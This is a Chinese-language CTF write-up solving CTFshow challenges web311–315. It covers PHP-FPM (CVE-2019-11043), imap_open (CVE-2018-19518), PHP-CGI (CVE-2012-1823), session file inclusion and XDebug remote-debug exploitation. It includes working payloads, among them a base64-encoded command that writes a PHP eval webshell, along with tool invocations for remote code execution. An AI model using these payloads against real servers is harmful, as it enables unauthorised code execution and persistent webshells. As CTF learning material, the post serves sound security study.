CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞

web311-CVE-2019-11043-PHP-fpm远程代码执行漏洞

提示:似曾相识,就这一个文件,不用扫描

注释中只有一个用burp抓包发现响应行中的X-Powered-By字段很可疑

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第1张图片

谷歌之后发现该PHP版本存在漏洞:PHP 远程代码执行漏洞(CVE-2019-11043

漏洞原理

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) {
    ... 
    fastcgi_split_path_info ^(.+?\.php)(/.*)$; 
    fastcgi_param PATH_INFO $fastcgi_path_info; 
    fastcgi_pass   php:9000; 
    ...
}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞

影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

  • PHP 7.0 版本
  • PHP 7.1 版本
  • PHP 7.2 版本
  • PHP 7.3 版本

漏洞复现存在的问题是漏洞利用工具(phuip-fpizdam)需要安装go环境,安装教程

安装好之后进行以下操作

  1. 创建工作工作空间(Workspaces),官方建议目录$HOME/go

    mkdir $HOME/go
    
  2. 将你的工作空间路径声明到环境变量中

    # 编辑 ~/.bash_profile 文件
    vim ~/.bash_profile
    # 在最后一行添加下面这句。$HOME/go 为你工作空间的路径,你也可以换成你喜欢的路径
    export GOPATH=$HOME/go
    # 保存退出后source一下(vim 的使用方法可以自己搜索一下)
    source ~/.bash_profile
    
  3. 在你的工作空间创建你的第一个工程目录

    # 创建并进入你的第一个工程目录
    mkdir -p $GOPATH/src/test && cd $GOPATH/src/test
    
  4. 下载并运行漏洞利用工具phuip-fpizdam

    git clone https://github.com/neex/phuip-fpizdam.git phuip-fpizdam
    cd phuip-fpizdam
    go get -v && go build或者go install phuip-fpizdam
    

    如果出现这种情况是因为默认使用的代理是proxy.golang.org,在国内无法访问

    image-20211003130604956

    解决方法

    执行命令切换为国内代理:
    go env -w GOPROXY=https://goproxy.cn
    

    然后重新build,生成可执行文件phuip-fpizdam

    CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第2张图片

  5. 利用工具写入shell

    ./phuip-fpizdam url/index.php
    

    写入成功

    CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第3张图片

然后访问index.php?a=ls,就可以执行命令了,有可能执行失败,多刷新几次就行了

image-20211003132304169

web312-CVE-2018-19518-PHP imap_open函数任意命令执行漏洞

前端是邮箱登录

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第4张图片

题目也没有给出提示,使用burp抓取数据包,从响应中找线索

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第5张图片

服务器是Debian系统,而且前端是与邮箱有关,有没有一个漏洞与两者有关呢,答案是肯定的

CVE-2018-19518

漏洞原理

IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143,在php中调用的是imap_open函数来实现功能

imap_open(string $mailbox,string $user,string $password

其中参数mailbox,是用来连接邮箱服务器的,它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh
又因为ssh命令中可以通过设置oProxyCommand来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞

影响系统:Debian/ubuntu

#payload
x+-oProxyCommand=echo	echo ' > /var/www/html/1.php|base64	-d|sh}
# 其中最后一个大括号用来闭合接收变量一开始的括号,类似闭合sql注入里面的单引号
-d 选项为decode解码
%3d =  
%09	TAB	
管道符sh,就是把echo ' > /var/www/html/1.php 解码以后作为shell脚本的参数,
最后在通过ProxyCommand来执行shell

# base64+url编码以后
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=123&password=123

生成shell之后就可以执行命令了

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第6张图片

web313-CVE-2012-1823-PHP-CGI远程代码执行漏洞

还是用burp抓包,PHP版本是PHP/5.4.1

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第7张图片

谷歌到该版本对应的漏洞,PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析

漏洞原理

上边链接,p神博客已经给出了详细说明

漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数

影响版本:php < 5.3.12 php < 5.4.2

用到的cgi模式下的参数

  • -s 显示文件源码
  • -d 指定配置项

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第8张图片

通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码

构造payload

index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
# 通过php://input伪协议接受post传参,注意,空格用+或%20代替,=用url编码代替
post:<?php echo shell_exec("id"); ?>

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第9张图片

web314-session文件包含


error_reporting(0);
highlight_file(__FILE__);
//phpinfo
$file = $_GET['f'];
if(!preg_match('/\:/',$file)){
     
    include($file);
}

传入的参数中不能出现冒号,也就是不能用伪协议,可以使用PHP_SESSION_UPLOAD_PROGRESS文件包含,去执行命令

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第10张图片

查看flag

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞_第11张图片

web315-XDebug 远程调试漏洞

提示:debug开启,端口9000

提示既然这么明显了,那肯定找关于debug的漏洞,XDebug 远程调试漏洞

漏洞原理

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码

因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞,p神给了脚本下载地址

python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'
# usage: xdebug.py [-h] -c CODE -t TARGET [-l LISTEN]
# 要求用python3并安装requests库
# 因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网),云服务器还需要注意安全组

成功执行命令

image-20211003145542144

参考链接

https://blog.csdn.net/miuzzx/article/details/111409718

你可能感兴趣的:(#,CTF,#,WEB漏洞,#,漏洞复现,php,nginx,运维,ctf,web安全)